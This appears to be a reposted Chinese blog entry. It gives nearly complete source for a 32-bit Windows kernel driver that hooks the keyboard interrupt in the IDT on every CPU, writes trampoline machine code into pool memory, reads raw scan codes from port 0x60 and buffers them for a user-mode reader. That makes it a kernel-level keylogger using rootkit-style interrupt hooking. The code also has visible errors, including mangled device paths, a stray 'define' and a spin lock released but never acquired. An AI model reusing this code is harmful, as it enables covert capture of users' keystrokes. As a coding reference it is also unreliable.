您的位置：首页 > 编程语言

支持多核直接IO键盘过滤驱动代码

2010-04-20 17:22 453 查看

http://hi.baidu.com/yeluosong/blog/item/90365a93d60dc586a977a430.html
支持多核直接IO键盘过滤驱动代码

花了一天的时间编写调试,运行了下,效果还行,放在这里,备份

#include <wdm.h>
#include <Ntddk.h>
#include "idts.h"

NTSTATUS DriverEntry (PDRIVER_OBJECT DriverObject, PUNICODE_STRING registerPath)
{

ULONG i;
NTSTATUS status;
KAFFINITY Bitmap;
P2C_U8 interruptID;
UNICODE_STRING Routine;
UNICODE_STRING DeviceName,SymbolLink;

PVOID Temp =NULL;
PRKDPC idtDpc = NULL;
PVOID myFuncAddress = NULL;
PDEVICE_OBJECT DeviceObject = NULL;
PDEVICE_EXTENSION DevExt = NULL;

KEQUERYACTIVEPROCESSORS myProcessorCount;

RtlInitUnicodeString (&DeviceName, L"//Device//Keyboardfilter");
//创建设备对象及设备扩展，用于保存全局变量
status = IoCreateDevice (
DriverObject,
sizeof(DEVICE_EXTENSION),
&DeviceName,
FILE_DEVICE_UNKNOWN,
0,
FALSE,
&DeviceObject);
if (!NT_SUCCESS(status))
{
return STATUS_UNSUCCESSFUL;
}
DeviceObject->Flags |= DO_BUFFERED_IO;
//初始化设备扩展
DevExt = (PDEVICE_EXTENSION) DeviceObject->DeviceExtension;
globalDevExt = DevExt;
DevExt->idtEntry = NULL;
DevExt->KeyBoardFilter = NULL;
DevExt->CpuNumber = 0;
DevExt->cpuID = 0;
memset (DevExt->OldISRaddress, 0, sizeof(DevExt->OldISRaddress));
memset (DevExt->IDTaddress, 0, sizeof(DevExt->IDTaddress));
memset (DevExt->HjhackFunAddr, 0, sizeof(DevExt->HjhackFunAddr));
//初始化循环缓冲
memset (DevExt->KeyCircleBuff.CircleBuff, 0, sizeof (DevExt->KeyCircleBuff.CircleBuff));
DevExt->KeyCircleBuff.DataStart = 0;
DevExt->KeyCircleBuff.DataEnd = 0;

KeInitializeSpinLock(&DevExt->idtLock);
KeInitializeSpinLock (&(DevExt->CircleSpinLock));

for (i = 0; i < IRP_MJ_MAXIMUM_FUNCTION+1; i++)
{
DriverObject->MajorFunction[i] = DispatchRoutine;
}
DriverObject->MajorFunction[IRP_MJ_READ] = ReadDispatchRoutine;
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlDispatchRoutine;
DriverObject->DriverUnload = Unload;

//创建符号连接
RtlInitUnicodeString (&SymbolLink, L"//??//Keyboardfilter");
status = IoCreateSymbolicLink (&SymbolLink, &DeviceName);
if (!NT_SUCCESS (status))
{
if (NULL != DeviceObject)
{
IoDeleteDevice (DeviceObject);
}
return status;
}

RtlInitUnicodeString (&Routine, L"MmIsAddressValid");
MmIsAddressValid = (MMISADDRESSVALID) MmGetSystemRoutineAddress (&Routine);
//获得当前CPU个数
RtlInitUnicodeString (&Routine, L"KeQueryActiveProcessors");
myProcessorCount = MmGetSystemRoutineAddress (&Routine);
Bitmap = myProcessorCount();
DevExt->CpuNumber = myProcessorCounter(Bitmap);

//获得键盘中断号
status = GetKeyBoardServiceInterruptID (&interruptID);
if (!NT_SUCCESS(status))
{
if (NULL != DeviceObject)
{
IoDeleteDevice (DeviceObject);
}
return status;
}
DevExt->InterruptID = interruptID;

//分配KDPC结构所需内存
idtDpc = (PRKDPC) ExAllocatePool (NonPagedPool, sizeof(KDPC)*DevExt->CpuNumber);
if (idtDpc == NULL)
{
if (NULL != DeviceObject)
{
IoDeleteDevice (DeviceObject);
}
return STATUS_UNSUCCESSFUL;
}
Temp = (PVOID)idtDpc;

//初始化KDPC结构，将idtDPC插入当前CPU的DPC队列
for (i = 0; i < DevExt->CpuNumber; i++)
{
KeInitializeDpc(idtDpc, (PKDEFERRED_ROUTINE) myIdtDpc,DevExt);
KeSetTargetProcessorDpc (idtDpc, i);
KeInsertQueueDpc (idtDpc, NULL, NULL);
idtDpc ++;
}
//等待所有进入DPC队列的myIdtDpc例程执行完毕
while (DevExt->cpuID != DevExt->CpuNumber)
{
_asm nop
}

ExFreePool(Temp);

DevExt->KeyBoardFilter = myKeyBoardISRhook;

return STATUS_SUCCESS;
}

NTSTATUS Unload (PDRIVER_OBJECT DriverObject)
{
int i;
PDEVICE_EXTENSION DevExt = NULL;
PDEVICE_OBJECT pDeviceObject = NULL;

pDeviceObject = DriverObject->DeviceObject;
DevExt = (PDEVICE_EXTENSION)pDeviceObject->DeviceExtension;

for (i = 0; i < DevExt->CpuNumber; i++)
{
myXchangeIsrAddress(DevExt->IDTaddress[i], DevExt->OldISRaddress[i], DevExt->InterruptID);
if (0 != DevExt->HjhackFunAddr[i])
{
ExFreePool (DevExt->HjhackFunAddr[i]);
}
}
IoDeleteDevice(pDeviceObject);

return STATUS_SUCCESS;
}

NTSTATUS DispatchRoutine (PDEVICE_OBJECT DeviceObject, PIRP pIrp)
{
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest(pIrp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}

void myIdtDpc(PRKDPC Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2)
{
P2C_U16 offsetlow;
P2C_U16 offsethigh;
KIRQL idtIrql;
P2C_IDTR Temp;
PDEVICE_EXTENSION DevExt;

DevExt = (PDEVICE_EXTENSION)DeferredContext;

KeAcquireSpinLock (&DevExt->idtLock, &idtIrql);

_asm cli
_asm sidt Temp
_asm sti

DevExt->idtr = Temp;
DevExt->idtEntry = (PP2C_IDTENTRY)DevExt->idtr.Base;
DevExt->IDTaddress[DevExt->cpuID] = DevExt->idtEntry;
DevExt->idtEntry += DevExt->InterruptID;
DevExt->OldISRaddress[DevExt->cpuID] = (P2C_U32) DevExt->idtEntry->offset_high;
DevExt->OldISRaddress[DevExt->cpuID] = DevExt->OldISRaddress[DevExt->cpuID] << 16;
DevExt->OldISRaddress[DevExt->cpuID] |= (P2C_U32) DevExt->idtEntry->offset_low;

DbgPrint(("Cpu[%d]KeyBoard ISR address:%x!/n"), DevExt->cpuID, DevExt->OldISRaddress[DevExt->cpuID]);
DbgPrint(("Cpu[%d]KeyBoard IDT address:%x!/n"), DevExt->cpuID, DevExt->IDTaddress[DevExt->cpuID]);
DevExt->cpuID++;

KeReleaseSpinLock (&DevExt->idtLock, idtIrql);

}

_declspec (naked) ULONG myProcessorCounter(KAFFINITY BitMap)
{
_asm pushad
_asm pushfd

_asm mov eax,[esp+28h]
_asm xor ebx,ebx
_asm mov ecx, 20h
Next:
_asm shr eax,1
_asm jnc NotAdd
_asm add ebx,1
NotAdd:
_asm Loop Next
_asm mov [esp+20h],ebx

_asm popfd
_asm popad

_asm ret 4
}

ULONG WaitForKbRead()
{
int i = 100;
P2C_U8 c;
do
{
_asm in al,0x64
_asm mov c,al
KeStallExecutionProcessor(50);
if(!(c & OBUFFER_FULL)) break;
} while (i--);
if(i) return TRUE;
return FALSE;
}

ULONG WaitForKbWrite()
{
int i = 100;
P2C_U8 c;
do
{
_asm in al,0x64
_asm mov c,al
KeStallExecutionProcessor(50);
if(!(c & IBUFFER_FULL)) break;
} while (i--);
if(i) return TRUE;
return FALSE;
}

void myKeyBoardISRhook()
{
P2C_U8 sch;

if (Flag == 1)
{
Flag = 0;
return;
}
WaitForKbRead();
_asm in al,0x60
_asm mov sch,al
Flag = 1;
WriteToBuff (sch);
KdPrint(("p2c: scan code = %2x/r/n",sch));
// 把数据写回端口，以便让别的程序可以正确读取。
_asm mov al,0xd2
_asm out 0x64,al
WaitForKbWrite();
_asm mov al,sch
_asm out 0x60,al

return;
}

VOID WriteToBuff (P2C_U8 input)
{
KeAcquireSpinLockAtDpcLevel (&globalDevExt->CircleSpinLock);
globalDevExt->KeyCircleBuff.CircleBuff[globalDevExt->KeyCircleBuff.DataEnd] = input;
globalDevExt->KeyCircleBuff.DataEnd++;
if (globalDevExt->KeyCircleBuff.DataEnd == globalDevExt->KeyCircleBuff.DataStart)
{
globalDevExt->KeyCircleBuff.DataStart++;
globalDevExt->KeyCircleBuff.DataStart %= CIRCLE_LENGTH;
}
globalDevExt->KeyCircleBuff.DataEnd %= CIRCLE_LENGTH;
KeReleaseSpinLockFromDpcLevel (&globalDevExt->CircleSpinLock);
return;
}

NTSTATUS myXchangeIsrAddress(PVOID IdtBaseaddress, ULONG IsrAddress, ULONG Interrupt)
{
PP2C_IDTENTRY IdtBase;
ULONG Temp;

Temp = IsrAddress;
IdtBase = IdtBaseaddress;
IdtBase += Interrupt;

if (Temp != 0)
{
_asm cli
IdtBase->offset_low = (P2C_U16) Temp;
Temp = Temp >> 16;
IdtBase->offset_high = (P2C_U16) Temp;
_asm sti
}
return STATUS_SUCCESS;
}

PVOID myInterruptBorn(ULONG IsrAddress, ULONG FuncAddress)
{
PVOID Temp = NULL;
ULONG IsrAddr;
ULONG FuncAddr;

IsrAddr = IsrAddress;
FuncAddr = FuncAddress;

Temp = ExAllocatePool (NonPagedPoolMustSucceed, 32);
if (Temp == NULL)
{
return Temp;
}

_asm pushad
_asm mov edi,Temp
_asm mov al,60h
_asm stosb
_asm mov al,9ch
_asm stosb
_asm mov al,0e8h
_asm stosb
_asm xor eax,eax
_asm stosd
_asm mov al,58h
_asm stosb
_asm mov ax,0c083h
_asm stosw
_asm mov al,0ah
_asm stosb
_asm mov al, 50h
_asm stosb
_asm mov al,0e9h
_asm stosb
_asm mov eax,FuncAddr
_asm mov ebx,Temp
_asm add ebx,11h
_asm sub eax,ebx
_asm stosd
_asm mov ax,619dh
_asm stosw
_asm mov al,0e9h
_asm stosb
_asm mov eax,IsrAddress
_asm mov ebx,Temp
_asm add ebx,18h
_asm sub eax,ebx
_asm stosd
_asm popad

return Temp;
}

NTSTATUS GetKeyBoardServiceInterruptID (P2C_U8 * InterID)
{
P2C_U8 * RegisterSelect;
P2C_U32 * RegisterWindow;
P2C_U32 ch, ch1;

PHYSICAL_ADDRESS phys;
PVOID paddr;

RtlZeroMemory (&phys, sizeof (PHYSICAL_ADDRESS));
phys.u.LowPart = 0xfec00000;

paddr = MmMapIoSpace (phys, 0x14, MmNonCached);
if (!MmIsAddressValid (paddr))
{
return STATUS_UNSUCCESSFUL;
}
RegisterSelect = (P2C_U8*)paddr;
RegisterWindow = (P2C_U8*)((P2C_U8*)paddr + 0x10);

*RegisterSelect = 0x12;
ch = *RegisterWindow;
*InterID = (P2C_U8)ch;

MmUnmapIoSpace (paddr, 0x14);
return STATUS_SUCCESS;
}

NTSTATUS ReadDispatchRoutine (
PDEVICE_OBJECT DeviceObject,
PIRP pIrp
)
{

KIRQL OldIrql;
ULONG BufferDataSize;
ULONG ReadNum = 0;
P2C_U8* Temp = NULL;
NTSTATUS status = STATUS_SUCCESS;
PDEVICE_EXTENSION DevExt = NULL;
PIO_STACK_LOCATION stack = NULL;

DevExt = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;

Temp = (P2C_U8*)ExAllocatePool (NonPagedPool, CIRCLE_LENGTH);
if (NULL == Temp)
{
KeReleaseSpinLock (&DevExt->CircleSpinLock, &OldIrql);
return STATUS_UNSUCCESSFUL;
}

KeAcquireSpinLock (&DevExt->CircleSpinLock, &OldIrql);

while (DevExt->KeyCircleBuff.DataStart != DevExt->KeyCircleBuff.DataEnd)
{
*(Temp + ReadNum) = DevExt->KeyCircleBuff.CircleBuff[DevExt->KeyCircleBuff.DataStart];
ReadNum++;
DevExt->KeyCircleBuff.DataStart++;
DevExt->KeyCircleBuff.DataStart %= CIRCLE_LENGTH;
}

KeReleaseSpinLock (&DevExt->CircleSpinLock, OldIrql);

RtlCopyMemory (pIrp->AssociatedIrp.SystemBuffer, Temp, ReadNum);
ExFreePool (Temp);
pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = ReadNum;
IoCompleteRequest (pIrp, IO_NO_INCREMENT);

return status;
}

NTSTATUS DeviceControlDispatchRoutine (
PDEVICE_OBJECT DeviceObject,
PIRP pIrp
)
{
int i;
ULONG code;
NTSTATUS status = STATUS_SUCCESS;
PIO_STACK_LOCATION stack = NULL;
PDEVICE_EXTENSION DevExt = NULL;

DevExt = (PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
stack = IoGetCurrentIrpStackLocation (pIrp);
code = stack->Parameters.DeviceIoControl.IoControlCode;

switch (code)
{
case IOCTL_START_KEYFIL:

for (i = 0; i < DevExt->CpuNumber; i++)
{
//生成劫持函数
DevExt->HjhackFunAddr[i] = myInterruptBorn(DevExt->OldISRaddress[i], DevExt->KeyBoardFilter);
//更换中断服务历程地址
myXchangeIsrAddress(DevExt->IDTaddress[i], DevExt->HjhackFunAddr[i], DevExt->InterruptID);
}
break;

case IOCTL_STOP_KEYFIL:
for (i = 0; i < DevExt->CpuNumber; i++)
{
//还原中断服务例程地址
myXchangeIsrAddress(DevExt->IDTaddress[i], DevExt->OldISRaddress[i], DevExt->InterruptID);
if (0 != DevExt->HjhackFunAddr[i])
{
ExFreePool (DevExt->HjhackFunAddr[i]);
DevExt->HjhackFunAddr[i] = 0;
}

}
break;
default:
break;
}

pIrp->IoStatus.Status = STATUS_SUCCESS;
pIrp->IoStatus.Information = 0;
IoCompleteRequest (pIrp, IO_NO_INCREMENT);

return STATUS_SUCCESS;
}

/*
_declspec(naked) p2cinterruptProc()
{
_asm pushad
_asm pushfd
_asm call next
next:
_asm pop eax
_asm add eax,0ah
_asm push eax
_asm jmp myKeyBoardISRhook
_asm popfd
_asm popad
_asm jmp OldISRaddress
}
*/
define OBUFFER_FULL 0x02
#define IBUFFER_FULL 0x01
#define CIRCLE_LENGTH 120
#define IOCTL_START_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x810,METHOD_BUFFERED,FILE_ANY_ACCESS)
#define IOCTL_STOP_KEYFIL CTL_CODE(FILE_DEVICE_UNKNOWN,0x811,METHOD_BUFFERED,FILE_ANY_ACCESS)

typedef unsigned char P2C_U8;
typedef unsigned short P2C_U16;
typedef unsigned long P2C_U32;
P2C_U32 Flag = 0;

//定义IDT Register结构
#pragma pack (push, 1)
typedef struct P2C_IDTR_{
P2C_U16 Limit;
P2C_U32 Base;
} P2C_IDTR, *PP2C_IDTR;
#pragma pack (pop)

//定义中断表项
#pragma pack(push,1)
typedef struct P2C_IDT_ENTRY_{
P2C_U16 offset_low;
P2C_U16 selector;
P2C_U8 reserved;
P2C_U8 type:4;
P2C_U8 always:1;
P2C_U8 dpl:2;
P2C_U8 present:1;
P2C_U16 offset_high;
} P2C_IDTENTRY, *PP2C_IDTENTRY;
#pragma pack(pop)
//定义循环缓冲结构
typedef struct _KeyDataCircleBuff
{
UCHAR CircleBuff[CIRCLE_LENGTH];
ULONG DataStart;
ULONG DataEnd;
}KEYDATACIRCLEBUF, *PKEYDATACIRCLEBUF;
//定义设备扩展
typedef struct _DEVICE_EXTENSION{
//IDTR结构指针
P2C_IDTR idtr;
//控制访问IDT的锁
KSPIN_LOCK idtLock;
//当前CPU数目
ULONG CpuNumber;
//CPU ID
ULONG cpuID;
//IDT表项指针
PP2C_IDTENTRY idtEntry;
//保存键盘中断ID
P2C_U8 InterruptID;
//保存键盘过滤处理函数指针
PVOID KeyBoardFilter;
//保存原Interrupt service routine指针
ULONG OldISRaddress[8];
//保存IDT表指针
ULONG IDTaddress[8];
//保存劫持函数指针
ULONG HjhackFunAddr[8];
//循环缓冲结构
KEYDATACIRCLEBUF KeyCircleBuff;
//控制循环缓存使用的锁
KSPIN_LOCK CircleSpinLock;
} DEVICE_EXTENSION, *PDEVICE_EXTENSION;

typedef ULONG(_stdcall *KEQUERYACTIVEPROCESSORS)(void);
typedef BOOLEAN (_stdcall *MMISADDRESSVALID)(PVOID VirtualAddress);

PDEVICE_EXTENSION globalDevExt = NULL;
MMISADDRESSVALID MmIsAddressValid;
//函数声明
ULONG WaitForKbRead();
ULONG WaitForKbWrite();
void myKeyBoardISRhook();
void WriteToBuff (P2C_U8 input);
void myIdtDpc(PRKDPC Dpc, PVOID DeferredContext, PVOID SystemArgument1, PVOID SystemArgument2);
ULONG myProcessorCounter(KAFFINITY BitMap);
PVOID myInterruptBorn(ULONG IsrAddress, ULONG FuncAddress);
NTSTATUS DispatchRoutine (PDEVICE_OBJECT DeviceObject, PIRP pIrp);
NTSTATUS Unload (PDRIVER_OBJECT DriverObject);
NTSTATUS myXchangeIsrAddress(PVOID IdtBaseaddress, ULONG IsrAddress, ULONG Interrupt);
NTSTATUS DeviceControlDispatchRoutine (PDEVICE_OBJECT DeviceObject,PIRP pIrp);
NTSTATUS GetKeyBoardServiceInterruptID (P2C_U8* InterID);
NTSTATUS ReadDispatchRoutine (PDEVICE_OBJECT DeviceObject,PIRP pIrp);

内容来自用户分享和网络整理，不保证内容的准确性，如有侵权内容，可联系管理员处理

标签：

相关文章推荐

新的分享

章节导航